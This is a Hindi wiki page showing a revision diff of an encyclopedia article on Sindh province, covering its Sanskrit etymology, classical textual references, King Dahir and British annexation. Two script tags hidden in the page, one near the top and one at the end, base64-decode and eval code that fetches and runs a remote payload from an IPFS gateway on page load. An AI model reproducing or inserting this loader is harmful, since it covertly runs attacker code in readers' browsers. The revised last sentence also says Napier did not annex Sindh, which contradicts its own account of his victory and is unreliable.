"सिंध प्रांत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(8 सदस्यों द्वारा किये गये बीच के 15 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{बहुविकल्पी|सिंधु}}
+
{{बहुविकल्प|बहुविकल्पी शब्द=सिन्धु|लेख का नाम=सिन्धु (बहुविकल्पी)}}
वर्तमान सिंध [[पाकिस्तान]] का प्रांत। पाकिस्तान के चार प्रान्तों में से सिंध प्रांत एक है। सिंध प्रांत देश में 15% जनता वास करती है। यह सिन्धियों का मूल स्थान है। सिंध संस्कृत के शब्द सिंधु से बना है जिसका अर्थ है समुद्र।
+
वर्तमान सिंध प्रांत [[पाकिस्तान]] का प्रांत है। सिंध प्रांत पाकिस्तान के चार प्रान्तों में से एक है। सिंध प्रांत में 15% जनता वास करती है। यह सिन्धियों का मूल स्थान है। सिंध [[संस्कृत भाषा|संस्कृत]] के शब्द सिंधु से बना है जिसका अर्थ है [[समुद्र]]।
 
==इतिहास==
 
==इतिहास==
[[रघुवंश]] में सिंध नामक देश का [[राम|रामचंद्रजी]] द्वारा [[भरत (दशरथ पुत्र)|भरत]] को दिए जाने का उल्लेख है। <ref>'युधाजितश्च संदेशात्स देश सिंधुनामकम् ददौ दत्तप्रभावाय भरताय भृतप्रजः'। 15,87</ref> इस प्रसंग में यह भी वर्णित है कि [[युधाजित्]] ([[भरत (दशरथ पुत्र)|भरत]] का मामा, [[केकय]] नरेश) से संदेश मिलने पर उन्होंने यह कार्य सम्पन्न किया था। संभव है कि सिंधु देश उस समय केकय देश के अधीन रहा हो। सिंधु पर अधिकार करने के लिए भरत ने गंधवों को हराया था - <ref>'भरतस्तत्र गंधर्वान्युधि निजिंत्य केवलम् आतोद्यग्राहयामास समत्याजयदायुधम्' रघु. 15,88</ref> अर्थात् भरत ने युद्ध में (सिंधु देश के) गंधवों को हराकर उन्हें शस्त्र त्याग कर वीणग्रहण करने पर विवश किया। [[वाल्मीकि]] [[रामायण]] उत्तर. 100-101 में भी यही प्रसंग सविस्तर वर्णित है। <ref>'सिंधोरुभयतः पार्श्वेदेशः परमशोभनं तं च रक्षन्ति गंधर्वाः सांयुधा युद्धकोविदाः' उत्तर 100,11)</ref> इसमें सूचित होता है कि [[सिंधु नदी]] के दोनों ओर के प्रदेश को ही सिंधु-देश कहा जाता था। इसमें गंधार या गंधर्वों का प्रदेश भी सम्मिलित रहा होगा। यह तथ्य इस प्रकार भी सिद्ध होता है कि भरत ने इस देश को जीतकर अपने पुत्रों को तक्षशिला और पुष्कलावती (गंधार देश में स्थित नगर) का शासक नियुक्त किया था। तक्षशिला सिंधु नदी के पूर्व में और पुष्कलावती पश्चिम में स्थित थी। ये दोनों नगर इन दोनों भागों की राजधानी रहे होंगे। सिंध के निबासियों को [[विष्णु]] में सैंधवाः कहा गया है। <ref>'सौवीरा सैंधवाहणाः शाल्वाः कोसलवासिन।' 2,3,17</ref> सिंधु देश में उत्पन्न [[लवण]] (सैंधव) का उल्लेख [[कालिदास]] ने इस प्रकार किया है - '<ref>वक्त्रोष्मणा पुरोगतानि, लेह्मानि सैंधवशिलाशकलानि वाहाः'  रघु. 5,73</ref> अर्थात् सामने रखे हुए सैधव लवण के लेह्म शिलाखंडों को घोड़े अपने मुख की भाप से धुंधला कर रहे हैं। सौवीर सिंधु देश का हो एक भाग था। महरौली ([[दिल्ली]]) में स्थित चंद्र के लौहस्तंभ के अभिलेख में चंद्र द्वारा सिंधु नदी के सप्तमुखों को जीते जाने का उल्लेख है।- <ref>'तीर्वर्ता सप्तमुखानि येन समरे सिंधोर्जिता वाह्लिकाः' तथा इस प्रदेश में वाह्लिकों की स्थिति बताई है (दे. दिल्ली)</ref> [[युनान]] के लेखकों ने अलक्षेंद्र के भारत-आकमण के संबंध में सिंधु-देश के नगरों का उल्लेख किया है। साइगरडिस नामक स्थान शायद सागर-द्वीप है जो सिंधु देश का समुद्रतट या सिंधु नदी का मुहाना जान पड़ता है। अलक्षेंद्र की सेनाएँ सिंधु नदी तथा इसके तटवर्ती प्रदेश में होकर ही वापस लौटी थीं। [[हर्षचरित]], [[चतुर्थ उच्छ्वास]] में बाण ने प्रभाकरवर्धन को 'सिंधुराजज्वरः' कहा है जिससे सिंधु देश पर उसके आतंक का बोध होता है। अरबों के सिंध पराकमण के समय वहाँ दाहिर नामक [[ब्राह्मण]]-नरेश का राज्य था। यह आकमणकारियों से बहुत ही वीरता के साथ लड़ता हुआ मारा गया था। इसकी वीरांगना पुत्रियों ने बाद में, अरब सेनापति [[मुहम्मद बिन क़ासिम]] से अपने पिता की मृत्यु का बदला लिया और स्वयं आत्महत्या करली। सिंध पर मुसलमानों का अधिकार 1845 ई. तक रहा जब यहाँ के अमीरों को जनरल नेपियर ने मियानी के युद्ध में हराकर इस प्रारंत को ब्रिटिश राज्य में मिला लिया।
+
[[रघुवंश]] में सिंध नामक देश का [[राम|रामचंद्रजी]] द्वारा [[भरत (दशरथ पुत्र)|भरत]] को दिए जाने का उल्लेख है।<ref>'युधाजितश्च संदेशात्स देश सिंधुनामकम् ददौ दत्तप्रभावाय भरताय भृतप्रजः'। 15,87</ref> इस प्रसंग में यह भी वर्णित है कि [[युधाजित]]<ref>[[भरत (दशरथ पुत्र)|भरत]] का मामा</ref> ने [[केकय]] नरेश से संदेश मिलने पर उन्होंने यह कार्य सम्पन्न किया था। संभव है कि सिंधु देश उस समय केकय देश के अधीन रहा हो। सिंधु पर अधिकार करने के लिए भरत ने गंधर्वों को हराया था-  
सिंध के कुछ लुटेरों की लूटमार से क्रुद्ध होकर ईराक़ का मुसलमान सूबेदार [[अलहज्जाज]] ने उन्हें दंण्डित करने के लिए कई बार चढ़ाई की, किन्तु राजा दाहिर ने उसकी फ़ौजों को पराजित कर दिया।
 
{{प्रचार}}
 
{{लेख प्रगति
 
|आधार=
 
|प्रारम्भिक=प्रारम्भिक1
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
  
{{संदर्भ ग्रंथ}}
+
<blockquote>'भरतस्तत्र गंधर्वान्युधि निजिंत्य केवलम् आतोद्यग्राहयामास समत्याजयदायुधम्'<ref>रघुवंश 15,88</ref></blockquote>
  
 +
अर्थात भरत ने युद्ध में (सिंधु देश के) गंधर्वों को हराकर उन्हें शस्त्र त्याग कर वीणाग्रहण करने पर विवश किया। [[वाल्मीकि]] [[रामायण]] <ref>रामायण, उत्तरकाण्ड 100-101 </ref>में भी यही प्रसंग सविस्तर वर्णित है।<ref>'सिंधोरुभयतः पार्श्वेदेशः परमशोभनं तं च रक्षन्ति गंधर्वाः सांयुधा युद्धकोविदाः' उत्तर 100,11</ref> इसमें सूचित होता है कि [[सिंधु नदी]] के दोनों ओर के प्रदेश को ही सिंधु-देश कहा जाता था। इसमें गंधार या गंधर्वों का प्रदेश भी सम्मिलित रहा होगा। यह तथ्य इस प्रकार भी सिद्ध होता है कि भरत ने इस देश को जीतकर अपने पुत्रों को [[तक्षशिला]] और [[पुष्कलावती]] ([[गंधार]] देश में स्थित नगर) का शासक नियुक्त किया था। तक्षशिला सिंधु नदी के पूर्व में और पुष्कलावती पश्चिम में स्थित थी। ये दोनों नगर इन दोनों भागों की राजधानी रहे होंगे। सिंध के निवासियों को सैंधवाः कहा गया है।<ref>'सौवीरा सैंधवाहणाः शाल्वाः कोसलवासिन।' 2,3,17</ref> सिंधु देश में उत्पन्न लवण<ref>सैंधव</ref> का उल्लेख [[कालिदास]] ने इस प्रकार किया है-
 +
 +
<blockquote>'वक्त्रोष्मणा पुरोगतानि, लेह्मानि सैंधवशिलाशकलानि वाहाः'<ref>रघुवंश 5,73</ref> </blockquote>
 +
 +
अर्थात सामने रखे हुए सैंधव लवण के लेह्म शिलाखंडों को घोड़े अपने मुख की भाप से धुंधला कर रहे हैं। '[[सौवीर]]' सिंधु देश का ही एक भाग था। महरौली ([[दिल्ली]]) में स्थित चंद्र के लौहस्तंभ के अभिलेख में चंद्र द्वारा सिंधु नदी के सप्तमुखों को जीते जाने का उल्लेख है-
 +
 +
'तीर्वर्ता सप्तमुखानि येन समरे सिंधोर्जिता वाह्लिकाः' तथा इस प्रदेश में वाह्लिकों की स्थिति बताई है।<ref>दे. दिल्ली</ref>
 +
===सिंधु का उल्लेख===
 +
[[युनान]] के लेखकों ने अलक्षेंद्र के भारत-आकमण के संबंध में सिंधु-देश के नगरों का उल्लेख किया है। साइगरडिस नामक स्थान शायद सागर-द्वीप है जो सिंधु देश का समुद्रतट या सिंधु नदी का मुहाना जान पड़ता है। [[अलक्ष्येन्द्र]] की सेनाएँ [[सिंधु नदी]] तथा इसके तटवर्ती प्रदेश में होकर ही वापस लौटी थीं। [[हर्षचरित|हर्षचरित, चतुर्थ उच्छ्वास]] में [[बाण]] ने प्रभाकरवर्धन को 'सिंधुराजज्वरः' कहा है जिससे सिंधु देश पर उसके आतंक का बोध होता है। अरबों के सिंध पर आक्रमण के समय वहाँ दाहिर नामक [[ब्राह्मण]]-नरेश का राज्य था। सिंध के कुछ लुटेरों की लूटमार से क्रुद्ध होकर इराक़ के मुसलमान सूबेदार [[अलहज्जाज]] ने उन्हें दंण्डित करने के लिए कई बार चढ़ाई की, किन्तु राजा [[दाहिर]] ने उसकी फ़ौजों को पराजित कर दिया। दाहिर आक्रमणकारियों से बहुत ही वीरता के साथ लड़ता हुआ मारा गया था। इसकी वीरांगना पुत्रियों ने बाद में, अरब सेनापति [[मुहम्मद बिन क़ासिम]] से अपने [[पिता]] की मृत्यु का बदला लिया और स्वयं आत्महत्या कर ली। सिंध पर मुसलमानों का अधिकार 1845 ई. तक रहा। इस बीच इसे [[मुग़ल]] बादशाह [[जहाँगीर]] ने एक महत्त्वपूर्ण सूबा भी बनाया था। बाद के समय में यहाँ के [[मुस्लिम]] अमीरों को जनरल नेपियर ने मियानी के युद्ध में हराकर इस प्रांत को ब्रिटिश राज्य में नहीं मिला लिया।
 +
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
पंक्ति 21: पंक्ति 23:
 
[[Category:विदेशी स्थान]]
 
[[Category:विदेशी स्थान]]
 
[[Category:इतिहास_कोश]]
 
[[Category:इतिहास_कोश]]
 +
[[Category:ऐतिहासिक स्थान कोश]]
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

12:31, 26 जनवरी 2015 के समय का अवतरण

Disamb2.jpg सिन्धु एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- सिन्धु (बहुविकल्पी)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्तमान सिंध प्रांत पाकिस्तान का प्रांत है। सिंध प्रांत पाकिस्तान के चार प्रान्तों में से एक है। सिंध प्रांत में 15% जनता वास करती है। यह सिन्धियों का मूल स्थान है। सिंध संस्कृत के शब्द सिंधु से बना है जिसका अर्थ है समुद्र

इतिहास

रघुवंश में सिंध नामक देश का रामचंद्रजी द्वारा भरत को दिए जाने का उल्लेख है।[1] इस प्रसंग में यह भी वर्णित है कि युधाजित[2] ने केकय नरेश से संदेश मिलने पर उन्होंने यह कार्य सम्पन्न किया था। संभव है कि सिंधु देश उस समय केकय देश के अधीन रहा हो। सिंधु पर अधिकार करने के लिए भरत ने गंधर्वों को हराया था-

'भरतस्तत्र गंधर्वान्युधि निजिंत्य केवलम् आतोद्यग्राहयामास समत्याजयदायुधम्'[3]

अर्थात भरत ने युद्ध में (सिंधु देश के) गंधर्वों को हराकर उन्हें शस्त्र त्याग कर वीणाग्रहण करने पर विवश किया। वाल्मीकि रामायण [4]में भी यही प्रसंग सविस्तर वर्णित है।[5] इसमें सूचित होता है कि सिंधु नदी के दोनों ओर के प्रदेश को ही सिंधु-देश कहा जाता था। इसमें गंधार या गंधर्वों का प्रदेश भी सम्मिलित रहा होगा। यह तथ्य इस प्रकार भी सिद्ध होता है कि भरत ने इस देश को जीतकर अपने पुत्रों को तक्षशिला और पुष्कलावती (गंधार देश में स्थित नगर) का शासक नियुक्त किया था। तक्षशिला सिंधु नदी के पूर्व में और पुष्कलावती पश्चिम में स्थित थी। ये दोनों नगर इन दोनों भागों की राजधानी रहे होंगे। सिंध के निवासियों को सैंधवाः कहा गया है।[6] सिंधु देश में उत्पन्न लवण[7] का उल्लेख कालिदास ने इस प्रकार किया है-

'वक्त्रोष्मणा पुरोगतानि, लेह्मानि सैंधवशिलाशकलानि वाहाः'[8]

अर्थात सामने रखे हुए सैंधव लवण के लेह्म शिलाखंडों को घोड़े अपने मुख की भाप से धुंधला कर रहे हैं। 'सौवीर' सिंधु देश का ही एक भाग था। महरौली (दिल्ली) में स्थित चंद्र के लौहस्तंभ के अभिलेख में चंद्र द्वारा सिंधु नदी के सप्तमुखों को जीते जाने का उल्लेख है-

'तीर्वर्ता सप्तमुखानि येन समरे सिंधोर्जिता वाह्लिकाः' तथा इस प्रदेश में वाह्लिकों की स्थिति बताई है।[9]

सिंधु का उल्लेख

युनान के लेखकों ने अलक्षेंद्र के भारत-आकमण के संबंध में सिंधु-देश के नगरों का उल्लेख किया है। साइगरडिस नामक स्थान शायद सागर-द्वीप है जो सिंधु देश का समुद्रतट या सिंधु नदी का मुहाना जान पड़ता है। अलक्ष्येन्द्र की सेनाएँ सिंधु नदी तथा इसके तटवर्ती प्रदेश में होकर ही वापस लौटी थीं। हर्षचरित, चतुर्थ उच्छ्वास में बाण ने प्रभाकरवर्धन को 'सिंधुराजज्वरः' कहा है जिससे सिंधु देश पर उसके आतंक का बोध होता है। अरबों के सिंध पर आक्रमण के समय वहाँ दाहिर नामक ब्राह्मण-नरेश का राज्य था। सिंध के कुछ लुटेरों की लूटमार से क्रुद्ध होकर इराक़ के मुसलमान सूबेदार अलहज्जाज ने उन्हें दंण्डित करने के लिए कई बार चढ़ाई की, किन्तु राजा दाहिर ने उसकी फ़ौजों को पराजित कर दिया। दाहिर आक्रमणकारियों से बहुत ही वीरता के साथ लड़ता हुआ मारा गया था। इसकी वीरांगना पुत्रियों ने बाद में, अरब सेनापति मुहम्मद बिन क़ासिम से अपने पिता की मृत्यु का बदला लिया और स्वयं आत्महत्या कर ली। सिंध पर मुसलमानों का अधिकार 1845 ई. तक रहा। इस बीच इसे मुग़ल बादशाह जहाँगीर ने एक महत्त्वपूर्ण सूबा भी बनाया था। बाद के समय में यहाँ के मुस्लिम अमीरों को जनरल नेपियर ने मियानी के युद्ध में हराकर इस प्रांत को ब्रिटिश राज्य में नहीं मिला लिया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 'युधाजितश्च संदेशात्स देश सिंधुनामकम् ददौ दत्तप्रभावाय भरताय भृतप्रजः'। 15,87
  2. भरत का मामा
  3. रघुवंश 15,88
  4. रामायण, उत्तरकाण्ड 100-101
  5. 'सिंधोरुभयतः पार्श्वेदेशः परमशोभनं तं च रक्षन्ति गंधर्वाः सांयुधा युद्धकोविदाः' उत्तर 100,11
  6. 'सौवीरा सैंधवाहणाः शाल्वाः कोसलवासिन।' 2,3,17
  7. सैंधव
  8. रघुवंश 5,73
  9. दे. दिल्ली

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>